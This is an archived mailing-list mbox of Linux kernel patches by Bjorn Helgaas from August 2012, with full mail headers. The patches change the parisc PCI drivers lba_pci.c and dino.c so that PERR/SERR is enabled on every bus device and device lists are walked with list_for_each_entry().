Approved: news@gmane.org
Message-ID: <20120816232630.3662.57336.stgit@bhelgaas.mtv.corp.google.com>
References: <20120816232620.3662.90438.stgit@bhelgaas.mtv.corp.google.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1345159599 1499 80.91.229.3 (16 Aug 2012 23:26:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 16 Aug 2012 23:26:39 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: linux-pci@vger.kernel.org
Original-X-From: linux-pci-owner@vger.kernel.org Fri Aug 17 01:26:35 2012
Return-path: <linux-pci-owner@vger.kernel.org>
Envelope-to: glp-linux-pci@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-pci-owner@vger.kernel.org>)
	id 1T29SU-0000ch-AY
	for glp-linux-pci@plane.gmane.org; Fri, 17 Aug 2012 01:26:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757742Ab2HPX0d (ORCPT <rfc822;glp-linux-pci@m.gmane.org>);
	Thu, 16 Aug 2012 19:26:33 -0400
Original-Received: from mail-ob0-f202.google.com ([209.85.214.202]:52377 "EHLO
	mail-ob0-f202.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755488Ab2HPX0b (ORCPT
	<rfc822;linux-pci@vger.kernel.org>); Thu, 16 Aug 2012 19:26:31 -0400
Original-Received: by mail-ob0-f202.google.com with SMTP id wc20so2313314obb.1
        for <linux-pci@vger.kernel.org>; Thu, 16 Aug 2012 16:26:31 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=subject:to:from:cc:date:message-id:in-reply-to:references
         :user-agent:mime-version:content-type:content-transfer-encoding;
        bh=NnckddzxST3ihfMdi1/uw25yRvD5yoHuGWCDz3fQ5lI=;
        b=TvZQy4jl15yhFj7/EoHCD5jj303d7hg6aKHVGm15Odeqf/kI8cdUHVQpOBpPqmWwy3
         Ya/U04qeVr+EZZyAzyM8Yts1duRgEqA7n3C8/lZjuII5CbulPIjha0zc+eOT1XNeQhVD
         r5pdaMoh67RJgml2lOWUleJO1wnG7HTmUbKKtWfxnXP/Dhp/aLWeZwxZeSIiwU2eq8SN
         8hG+VPHmeDB1FAVbw+JBtp/ZAQ1jkGuVjURBg0NhTGjfdkJoxOJDJxQ++/Byn3DGFoNl
         V3FxjzH4Kk4r70X5f7PpxhvUwEhqfrYrCCOmW2HZp0IFTAen+k1MKOQVbgEIiQ19yhlb
         HQYw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=subject:to:from:cc:date:message-id:in-reply-to:references
         :user-agent:mime-version:content-type:content-transfer-encoding
         :x-gm-message-state;
        bh=NnckddzxST3ihfMdi1/uw25yRvD5yoHuGWCDz3fQ5lI=;
        b=eAFIyEfTOLKRw60MZotihdKGYJ9ynYeuzHIIkLw4wHQwQWkOK/GjCRZ505R3hZoF0L
         KEYO/+dHejO5uzMJ0wBvx6uwqbp0Ec0wm1t0v8nmCtJoBNw+CNqQFf2E0Qdt6GqwQaG0
         U4X01VJIZK0VB0vnZndoE+CNWv6vmMbmT3wP4wgkc0DHKhpEPaLuEX4ad8hEoRcUDrQ2
         8DHOw1fChLha40wH/tBIGFFj8y2CfJps3B05ZDrpyuQoHon2vBDeHgTCktMZor4ypuNb
         aAiCgOTULxEs7ydxNPyaa7uTH/2/qu1fGRmu2dQcHdesM5I+ss7sdj51jrPA+D+9Qdg0
         LDrA==
Original-Received: by 10.50.161.167 with SMTP id xt7mr2101124igb.0.1345159591663;
        Thu, 16 Aug 2012 16:26:31 -0700 (PDT)
Original-Received: by 10.50.161.167 with SMTP id xt7mr2101119igb.0.1345159591619;
        Thu, 16 Aug 2012 16:26:31 -0700 (PDT)
Original-Received: from wpzn3.hot.corp.google.com (216-239-44-65.google.com [216.239.44.65])
        by gmr-mx.google.com with ESMTPS id bg10si940899igc.3.2012.08.16.16.26.31
        (version=TLSv1/SSLv3 cipher=AES128-SHA);
        Thu, 16 Aug 2012 16:26:31 -0700 (PDT)
Original-Received: from bhelgaas.mtv.corp.google.com (bhelgaas.mtv.corp.google.com [172.18.96.155])
	by wpzn3.hot.corp.google.com (Postfix) with ESMTP id 3BAC9100047;
	Thu, 16 Aug 2012 16:26:31 -0700 (PDT)
Original-Received: from bhelgaas.mtv.corp.google.com (unknown [IPv6:::1])
	by bhelgaas.mtv.corp.google.com (Postfix) with ESMTP id DCA93180640;
	Thu, 16 Aug 2012 16:26:30 -0700 (PDT)
In-Reply-To: <20120816232620.3662.90438.stgit@bhelgaas.mtv.corp.google.com>
User-Agent: StGit/0.15
X-Gm-Message-State: ALoCoQmBOANkllNjU+6KZS+kwgiBOcNoIQdnij+QunGq/LMLM48bdAuiHFOT55/5jSKJljLmhGcqLPhPd/PubuiO+Sk9uRHmuFqUzMXJx322wmCa52kxVSOgG7fFOghkC9tt9FsYGDMUCEe2m+y6QJEuEo2fcZophIdQp7wNtWdPrgJDfLzDpxdGVB8kFWXQh3FZZwlpSGyWSww8MT49kt1NQeL6KAsecQ==
Original-Sender: linux-pci-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-pci.vger.kernel.org>
X-Mailing-List: linux-pci@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.pci:17125 gmane.linux.ports.parisc:4535

Previously, we enabled PERR & SERR for the first device on the bus, but
left other devices alone.

Signed-off-by: Bjorn Helgaas <bhelgaas@google.com>
CC: linux-parisc@vger.kernel.org
---
 drivers/parisc/lba_pci.c |    4 +++-
 1 files changed, 3 insertions(+), 1 deletions(-)

diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
index 4f9cf24..4ce57c9 100644
--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -630,6 +630,7 @@ static void
 lba_fixup_bus(struct pci_bus *bus)
 {
 	struct list_head *ln;
+	struct pci_dev *dev;
 #ifdef FBB_SUPPORT
 	u16 status;
 #endif
@@ -712,8 +713,8 @@ lba_fixup_bus(struct pci_bus *bus)
 
 	list_for_each(ln, &bus->devices) {
 		int i;
-		struct pci_dev *dev = pci_dev_b(ln);
 
+		dev = pci_dev_b(ln);
 		DBG("lba_fixup_bus() %s\n", pci_name(dev));
 
 		/* Virtualize Device/Bridge Resources. */
@@ -771,6 +772,7 @@ lba_fixup_bus(struct pci_bus *bus)
 
 	/* Lastly enable FBB/PERR/SERR on all devices too */
 	list_for_each(ln, &bus->devices) {
+		dev = pci_dev_b(ln);
 		(void) pci_read_config_word(dev, PCI_COMMAND, &status);
 		status |= PCI_COMMAND_PARITY | PCI_COMMAND_SERR | fbb_enable;
 		(void) pci_write_config_word(dev, PCI_COMMAND, status);


From - Thu Nov 08 21:08:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bjorn Helgaas <bhelgaas@google.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.pci
Subject: [PATCH 4/6] parisc/PCI: Use list_for_each_entry() for bus->devices
	traversal
Date: Thu, 16 Aug 2012 17:26:36 -0600
Lines: 71
Approved: news@gmane.org
Message-ID: <20120816232635.3662.73917.stgit@bhelgaas.mtv.corp.google.com>
References: <20120816232620.3662.90438.stgit@bhelgaas.mtv.corp.google.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1345159601 1507 80.91.229.3 (16 Aug 2012 23:26:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 16 Aug 2012 23:26:41 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: linux-pci@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 17 01:26:41 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1T29SZ-0000ch-HJ
	for glpp-linux-parisc@plane.gmane.org; Fri, 17 Aug 2012 01:26:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932535Ab2HPX0i (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 16 Aug 2012 19:26:38 -0400
Original-Received: from mail-we0-f202.google.com ([74.125.82.202]:65276 "EHLO
	mail-we0-f202.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932527Ab2HPX0h (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 16 Aug 2012 19:26:37 -0400
Original-Received: by mail-we0-f202.google.com with SMTP id r1so155204wey.1
        for <linux-parisc@vger.kernel.org>; Thu, 16 Aug 2012 16:26:36 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=subject:to:from:cc:date:message-id:in-reply-to:references
         :user-agent:mime-version:content-type:content-transfer-encoding;
        bh=Bygw7TFTBfqyQv26ASlB166zqY/gU2ssRw+E+dwzHDk=;
        b=COKTDbVxEdFu445i6h3FHSC2zjrpztUNIGBJ0q2Io0tGT324nMCo/NJRVc87jn55hD
         RwM3TYhhjb8xKFo9mIvqu67L+2Ft6ad0z8onejE5JVChiK+2Qctu6WDzKamiGtqf9hSm
         aEDSfL6DGQkPKD+D0ld/a6NgEnf4DZf5Z1zGZCz4USz5TWPS66iyj2CsLS2hh4uplJxU
         GFte7kwL9UwL62VPyoUUgsaSeQ1syZDBr2HWGFQ1FhYFqneJt0gNUCmqh8+c7xIF3kL3
         LtBf5xzghYwTdk5M00zIWnnP8Ve5K5Pw8vnGM/1p5zmulhDGgr+ciQ97NQvCBXesNqva
         N3+w==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=subject:to:from:cc:date:message-id:in-reply-to:references
         :user-agent:mime-version:content-type:content-transfer-encoding
         :x-gm-message-state;
        bh=Bygw7TFTBfqyQv26ASlB166zqY/gU2ssRw+E+dwzHDk=;
        b=Hn5k2i5Er+b3tAHoLogaKFWbwO6lvsYVQGpiAzfi76E3XWx4kn4AiYz9dUMDEqiWON
         e2gKBkzk/cmQCsrrZJumVPwfsU9wRivYUshuGxyo+ybQG2IbuRsMecV/QCQU32x+Qdpg
         gyj1PRV+Cp9XvdXKjG9B56yZJk3nDjeZnCkYsQM029GNmck/GHHZMvaaj1crTrZhrL9H
         Ca+ARjC8omvGIcuYhkH6kSNISmm0FUG3IH5lLjVT2QZOgtLRecXs//+c6Dno6D/mUeKu
         uurrKYkT1RWsnN/ObeRgqj9YcyBA8RN5HP+a50W+pWebIr6uf7myGn29f+dW7JVj333c
         rywg==
Original-Received: by 10.14.218.199 with SMTP id k47mr2543446eep.5.1345159596831;
        Thu, 16 Aug 2012 16:26:36 -0700 (PDT)
Original-Received: by 10.14.218.199 with SMTP id k47mr2543438eep.5.1345159596772;
        Thu, 16 Aug 2012 16:26:36 -0700 (PDT)
Original-Received: from hpza10.eem.corp.google.com ([74.125.121.33])
        by gmr-mx.google.com with ESMTPS id d5si7721727eep.0.2012.08.16.16.26.36
        (version=TLSv1/SSLv3 cipher=AES128-SHA);
        Thu, 16 Aug 2012 16:26:36 -0700 (PDT)
Original-Received: from bhelgaas.mtv.corp.google.com (bhelgaas.mtv.corp.google.com [172.18.96.155])
	by hpza10.eem.corp.google.com (Postfix) with ESMTP id 9334520004E;
	Thu, 16 Aug 2012 16:26:36 -0700 (PDT)
Original-Received: from bhelgaas.mtv.corp.google.com (unknown [IPv6:::1])
	by bhelgaas.mtv.corp.google.com (Postfix) with ESMTP id 05844180640;
	Thu, 16 Aug 2012 16:26:36 -0700 (PDT)
In-Reply-To: <20120816232620.3662.90438.stgit@bhelgaas.mtv.corp.google.com>
User-Agent: StGit/0.15
X-Gm-Message-State: ALoCoQn2k8ikb2sEHubNFIdPgjjKr/z5RnFJTN66sw2rS3OgQyF1dz1ZmhjG6rkBb2tmv+jF84L5ggLIC3ZW3oIXSUTVYmHX8MG1LVfXI+E2+KJcCEQOyheOjecDmHlx5zwJonq90d+SmvkNfmzykCvAwxsPELkXxS24BuertuvWnY0OdcNizHeqKrP+i2V1jcyIrPG6whhX+V41R6NMmy3Ljxs25c97k8HCVKlNizGSuYlNwDPHSmA=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4536 gmane.linux.kernel.pci:17126

Replace list_for_each() + pci_dev_b() with the simpler
list_for_each_entry().

Signed-off-by: Bjorn Helgaas <bhelgaas@google.com>
CC: linux-parisc@vger.kernel.org
---
 drivers/parisc/dino.c    |    6 ++----
 drivers/parisc/lba_pci.c |    7 ++-----
 2 files changed, 4 insertions(+), 9 deletions(-)

diff --git a/drivers/parisc/dino.c b/drivers/parisc/dino.c
index ffddc4f..4581ee0 100644
--- a/drivers/parisc/dino.c
+++ b/drivers/parisc/dino.c
@@ -477,14 +477,12 @@ dino_card_setup(struct pci_bus *bus, void __iomem *base_addr)
 	if (ccio_allocate_resource(dino_dev->hba.dev, res, _8MB,
 				F_EXTEND(0xf0000000UL) | _8MB,
 				F_EXTEND(0xffffffffUL) &~ _8MB, _8MB) < 0) {
-		struct list_head *ln, *tmp_ln;
+		struct pci_dev *dev, *tmp;
 
 		printk(KERN_ERR "Dino: cannot attach bus %s\n",
 		       dev_name(bus->bridge));
 		/* kill the bus, we can't do anything with it */
-		list_for_each_safe(ln, tmp_ln, &bus->devices) {
-			struct pci_dev *dev = pci_dev_b(ln);
-
+		list_for_each_entry_safe(dev, tmp, &bus->devices, bus_list) {
 			list_del(&dev->bus_list);
 		}
 			
diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
index 4ce57c9..fdd63a6 100644
--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -629,7 +629,6 @@ truncate_pat_collision(struct resource *root, struct resource *new)
 static void
 lba_fixup_bus(struct pci_bus *bus)
 {
-	struct list_head *ln;
 	struct pci_dev *dev;
 #ifdef FBB_SUPPORT
 	u16 status;
@@ -711,10 +710,9 @@ lba_fixup_bus(struct pci_bus *bus)
 
 	}
 
-	list_for_each(ln, &bus->devices) {
+	list_for_each_entry(dev, &bus->devices, bus_list) {
 		int i;
 
-		dev = pci_dev_b(ln);
 		DBG("lba_fixup_bus() %s\n", pci_name(dev));
 
 		/* Virtualize Device/Bridge Resources. */
@@ -771,8 +769,7 @@ lba_fixup_bus(struct pci_bus *bus)
 	}
 
 	/* Lastly enable FBB/PERR/SERR on all devices too */
-	list_for_each(ln, &bus->devices) {
-		dev = pci_dev_b(ln);
+	list_for_each_entry(dev, &bus->devices, bus_list) {
 		(void) pci_read_config_word(dev, PCI_COMMAND, &status);
 		status |= PCI_COMMAND_PARITY | PCI_COMMAND_SERR | fbb_enable;
 		(void) pci_write_config_word(dev, PCI_COMMAND, status);

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bjorn Helgaas <bhelgaas@google.com>
Newsgroups: gmane.linux.kernel.pci,gmane.linux.kernel.pcmcia.devel,gmane.linux.ports.parisc
Subject: [PATCH v2 13/16] parisc/PCI: Enable PERR/SERR on all devices
Date: Fri, 17 Aug 2012 17:36:51 -0600
Lines: 40
Approved: news@gmane.org
Message-ID: <20120817233651.10973.83188.stgit@bhelgaas.mtv.corp.google.com>
References: <20120817233100.10973.59521.stgit@bhelgaas.mtv.corp.google.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1345246621 3602 80.91.229.3 (17 Aug 2012 23:37:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 17 Aug 2012 23:37:01 +0000 (UTC)
Cc: linux-pcmcia@lists.infradead.org, Yinghai Lu <yinghai@kernel.org>,
	linux-parisc@vger.kernel.org,
	Kenji Kaneshige <kaneshige.kenji@jp.fujitsu.com>
To: linux-pci@vger.kernel.org
Original-X-From: linux-pci-owner@vger.kernel.org Sat Aug 18 01:37:00 2012
Return-path: <linux-pci-owner@vger.kernel.org>
Envelope-to: glp-linux-pci@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-pci-owner@vger.kernel.org>)
	id 1T2W64-0007at-2g
	for glp-linux-pci@plane.gmane.org; Sat, 18 Aug 2012 01:36:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758048Ab2HQXgy (ORCPT <rfc822;glp-linux-pci@m.gmane.org>);
	Fri, 17 Aug 2012 19:36:54 -0400
Original-Received: from mail-ob0-f202.google.com ([209.85.214.202]:34062 "EHLO
	mail-ob0-f202.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757777Ab2HQXgw (ORCPT
	<rfc822;linux-pci@vger.kernel.org>); Fri, 17 Aug 2012 19:36:52 -0400
Original-Received: by mail-ob0-f202.google.com with SMTP id wc20so3010724obb.1
        for <linux-pci@vger.kernel.org>; Fri, 17 Aug 2012 16:36:52 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=subject:to:from:cc:date:message-id:in-reply-to:references
         :user-agent:mime-version:content-type:content-transfer-encoding;
        bh=NnckddzxST3ihfMdi1/uw25yRvD5yoHuGWCDz3fQ5lI=;
        b=RekfGjuHF8QY5kmw03sPCqMY35wKkiFqvKL2ONs+nItROwjvEhOZ8EpRQk62gmhOA0
         eJu7tV1f2h4sJzkvl58vZf18Wf3o1cM+1IOryDCN/8DCGeRIYxDEc8vlKHZI2MfIH3qU
         EQPxnbTLDrhhh1M8xk8sma8zWu4GDyYoJsuc1ojDMwHwjS3V0p60PT7CpEErCDJTZoG0
         lt9ncma48R9P6+fEtrYTSCb6konOjIRxMl45r+lO+jykGBP3U7nHj2ins++4BDx8pgMs
         6sYKBIQZWTGeGgRFewFh4Z8rRjYZYhicNXdB9exksbQ57Y8yIKxmY3lAD2gwxZ973X+F
         WR/g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=subject:to:from:cc:date:message-id:in-reply-to:references
         :user-agent:mime-version:content-type:content-transfer-encoding
         :x-gm-message-state;
        bh=NnckddzxST3ihfMdi1/uw25yRvD5yoHuGWCDz3fQ5lI=;
        b=EIDhPaU1sGekmi66HlIXwZV57EEu47YndzRDJngzdWsjACT+rZOeCIZ1GC/oAou/sL
         WvNQMomJ6QyFCVMPFcthAjpPM/OhCPzaeOlnA50kj4vw8liUYiLPrDXO6/kUP00GXpET
         FQ/M3BKrL8QtEPPVEmSqvfxlyPJenO0SoYhSGd57hQybCqnf9xRx1WYIURo7HJXQXfdT
         abe90Icddnpu6Kpp8pRc78xdKiUtCRneEi9huxuL3NW/wHgtF+8RIUNfK2Ybw83r3IAr
         M1pGHaSzwBAN8HXOp9RKh2wZ4AoBd8yWe0HGmiua6emWF/341ooujRpxyPGie/FYYAGZ
         wJiQ==
Original-Received: by 10.50.41.168 with SMTP id g8mr1620466igl.0.1345246612614;
        Fri, 17 Aug 2012 16:36:52 -0700 (PDT)
Original-Received: by 10.50.41.168 with SMTP id g8mr1620458igl.0.1345246612567;
        Fri, 17 Aug 2012 16:36:52 -0700 (PDT)
Original-Received: from wpzn4.hot.corp.google.com (216-239-44-65.google.com [216.239.44.65])
        by gmr-mx.google.com with ESMTPS id ev10si1822501igc.2.2012.08.17.16.36.52
        (version=TLSv1/SSLv3 cipher=AES128-SHA);
        Fri, 17 Aug 2012 16:36:52 -0700 (PDT)
Original-Received: from bhelgaas.mtv.corp.google.com (bhelgaas.mtv.corp.google.com [172.18.96.155])
	by wpzn4.hot.corp.google.com (Postfix) with ESMTP id 2F3141E0043;
	Fri, 17 Aug 2012 16:36:52 -0700 (PDT)
Original-Received: from bhelgaas.mtv.corp.google.com (unknown [IPv6:::1])
	by bhelgaas.mtv.corp.google.com (Postfix) with ESMTP id D0AF21801BB;
	Fri, 17 Aug 2012 16:36:51 -0700 (PDT)
In-Reply-To: <20120817233100.10973.59521.stgit@bhelgaas.mtv.corp.google.com>
User-Agent: StGit/0.15
X-Gm-Message-State: ALoCoQmDrchfYI7hAjkZ18yW81P3qOuk4bhzZst+YTd+Nh425rqNjAzLPH78dqzQUjyywUKq2/HsOaZbwEC+lvPjA56tkzwLNGk820nWpkX+PnhfqXRBmbWjava6nn1FChT+rwe3pso4kLInGrn2BhTRc/CA9aUAnq7ByIh8u3hmOT1jaOaooR0EsDzW8zOr4uLDEomCP5nqnznQDX6DsCXr+OwaEpTDkg==
Original-Sender: linux-pci-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-pci.vger.kernel.org>
X-Mailing-List: linux-pci@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.pci:17166 gmane.linux.kernel.pcmcia.devel:4153 gmane.linux.ports.parisc:4537
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.pci/17166>

Previously, we enabled PERR & SERR for the first device on the bus, but
left other devices alone.

Signed-off-by: Bjorn Helgaas <bhelgaas@google.com>
CC: linux-parisc@vger.kernel.org
---
 drivers/parisc/lba_pci.c |    4 +++-
 1 files changed, 3 insertions(+), 1 deletions(-)

diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
index 4f9cf24..4ce57c9 100644
--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -630,6 +630,7 @@ static void
 lba_fixup_bus(struct pci_bus *bus)
 {
 	struct list_head *ln;
+	struct pci_dev *dev;
 #ifdef FBB_SUPPORT
 	u16 status;
 #endif
@@ -712,8 +713,8 @@ lba_fixup_bus(struct pci_bus *bus)
 
 	list_for_each(ln, &bus->devices) {
 		int i;
-		struct pci_dev *dev = pci_dev_b(ln);
 
+		dev = pci_dev_b(ln);
 		DBG("lba_fixup_bus() %s\n", pci_name(dev));
 
 		/* Virtualize Device/Bridge Resources. */
@@ -771,6 +772,7 @@ lba_fixup_bus(struct pci_bus *bus)
 
 	/* Lastly enable FBB/PERR/SERR on all devices too */
 	list_for_each(ln, &bus->devices) {
+		dev = pci_dev_b(ln);
 		(void) pci_read_config_word(dev, PCI_COMMAND, &status);
 		status |= PCI_COMMAND_PARITY | PCI_COMMAND_SERR | fbb_enable;
 		(void) pci_write_config_word(dev, PCI_COMMAND, status);


From - Thu Nov 08 21:08:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bjorn Helgaas <bhelgaas@google.com>
Newsgroups: gmane.linux.kernel.pci,gmane.linux.kernel.pcmcia.devel,gmane.linux.ports.parisc
Subject: [PATCH v2 14/16] parisc/PCI: Use list_for_each_entry() for
	bus->devices traversal
Date: Fri, 17 Aug 2012 17:36:56 -0600
Lines: 66
Approved: news@gmane.org
Message-ID: <20120817233656.10973.65389.stgit@bhelgaas.mtv.corp.google.com>
References: <20120817233100.10973.59521.stgit@bhelgaas.mtv.corp.google.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1345246624 3649 80.91.229.3 (17 Aug 2012 23:37:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 17 Aug 2012 23:37:04 +0000 (UTC)
Cc: linux-pcmcia@lists.infradead.org, Yinghai Lu <yinghai@kernel.org>,
	linux-parisc@vger.kernel.org,
	Kenji Kaneshige <kaneshige.kenji@jp.fujitsu.com>
To: linux-pci@vger.kernel.org
Original-X-From: linux-pci-owner@vger.kernel.org Sat Aug 18 01:37:03 2012
Return-path: <linux-pci-owner@vger.kernel.org>
Envelope-to: glp-linux-pci@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-pci-owner@vger.kernel.org>)
	id 1T2W68-0007at-Pj
	for glp-linux-pci@plane.gmane.org; Sat, 18 Aug 2012 01:37:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758132Ab2HQXg7 (ORCPT <rfc822;glp-linux-pci@m.gmane.org>);
	Fri, 17 Aug 2012 19:36:59 -0400
Original-Received: from mail-ob0-f202.google.com ([209.85.214.202]:34062 "EHLO
	mail-ob0-f202.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757918Ab2HQXg6 (ORCPT
	<rfc822;linux-pci@vger.kernel.org>); Fri, 17 Aug 2012 19:36:58 -0400
Original-Received: by mail-ob0-f202.google.com with SMTP id wc20so3010724obb.1
        for <linux-pci@vger.kernel.org>; Fri, 17 Aug 2012 16:36:57 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=subject:to:from:cc:date:message-id:in-reply-to:references
         :user-agent:mime-version:content-type:content-transfer-encoding;
        bh=Bygw7TFTBfqyQv26ASlB166zqY/gU2ssRw+E+dwzHDk=;
        b=Xu6qeuBpZQ9YNIZEoTb3w0n+YbpvHUJILJr4jB5wzjJ/eRjRbt1iTH3GD+DvDBMPnC
         hugb7svem8EQfILVg0TVlWwQD4uYo84kVc8Zco7MCR+zUxOlDCtbPVQL2x4Z+QQ4O8Jh
         7sy8njq2CVre32D9x8fcsoMzrDfwRTt43kTVHieg+sO/EeOtUAQy7emqH0KPUTZnKncH
         hyFTvurbtlDydavyISOoKFn+3X+W9jdeGGCrB2h4dcucHH+2/g7WMaU2sk7qkvKAaGNg
         0Y+ZuUQfHCkK19bRV9UOsjbC0cf8FOWQI19dE0qdr0iMEiBwICmLPGp2DiEkO5FYVJWx
         Vz0A==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=subject:to:from:cc:date:message-id:in-reply-to:references
         :user-agent:mime-version:content-type:content-transfer-encoding
         :x-gm-message-state;
        bh=Bygw7TFTBfqyQv26ASlB166zqY/gU2ssRw+E+dwzHDk=;
        b=m0fEtaHm1fYAjmQ0CHJQdxBuMWkFnuQgs8iTrKW56lI8i4g4JwLKf+6dru9tBg5RZt
         HXD91MridYxRhByqAV4irPJPp7wjqeIPDxdFRKQbvl8W0Vynv48efb4ykyYZjTVwDcH8
         6optVNFDal+SdzhsisJi82EI5yHfKOqZPJFA0ZOeHhGXmCApzC2xLBZL1IkAfzC4x4ht
         UTefbL6p9+WkmUuiXnc3epxdGhL2XkZxg+3jwZ9BO94NrRgkhUuMj/5um2mQLWMF/Q6p
         n0H8nz6uuXtJpI+GU/UidFOjekFesZmauAacWnA7e29tgh80DeHGb0rO1XPx4VYEphvX
         OROA==
Original-Received: by 10.50.217.134 with SMTP id oy6mr1612119igc.5.1345246617775;
        Fri, 17 Aug 2012 16:36:57 -0700 (PDT)
Original-Received: by 10.50.217.134 with SMTP id oy6mr1612110igc.5.1345246617682;
        Fri, 17 Aug 2012 16:36:57 -0700 (PDT)
Original-Received: from wpzn4.hot.corp.google.com (216-239-44-65.google.com [216.239.44.65])
        by gmr-mx.google.com with ESMTPS id mb9si1823289igc.1.2012.08.17.16.36.57
        (version=TLSv1/SSLv3 cipher=AES128-SHA);
        Fri, 17 Aug 2012 16:36:57 -0700 (PDT)
Original-Received: from bhelgaas.mtv.corp.google.com (bhelgaas.mtv.corp.google.com [172.18.96.155])
	by wpzn4.hot.corp.google.com (Postfix) with ESMTP id 4C4F81E0043;
	Fri, 17 Aug 2012 16:36:57 -0700 (PDT)
Original-Received: from bhelgaas.mtv.corp.google.com (unknown [IPv6:::1])
	by bhelgaas.mtv.corp.google.com (Postfix) with ESMTP id EDD431801BB;
	Fri, 17 Aug 2012 16:36:56 -0700 (PDT)
In-Reply-To: <20120817233100.10973.59521.stgit@bhelgaas.mtv.corp.google.com>
User-Agent: StGit/0.15
X-Gm-Message-State: ALoCoQnK/JYUUC0DXa3EtIQZqUzSwqMt3m/JgGWks4XTZzrRVvjSqOpOp1NYe7Shx1M0R0mot+bnPPtLQfVT9DD9xh8teA15JRBjpupo29I67DQ0/eJBcAhM5AGvDksU1jPyYKzJXgoMqGkeCJG0UeqmNm2tXJotccGWO8c6/UFcpQIyzlfNdnz0/l+NrvYGjZc8EqtMPu7rQbmxFEur2+TXF9QjXU6fIg==
Original-Sender: linux-pci-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-pci.vger.kernel.org>
X-Mailing-List: linux-pci@vger.kernel.org
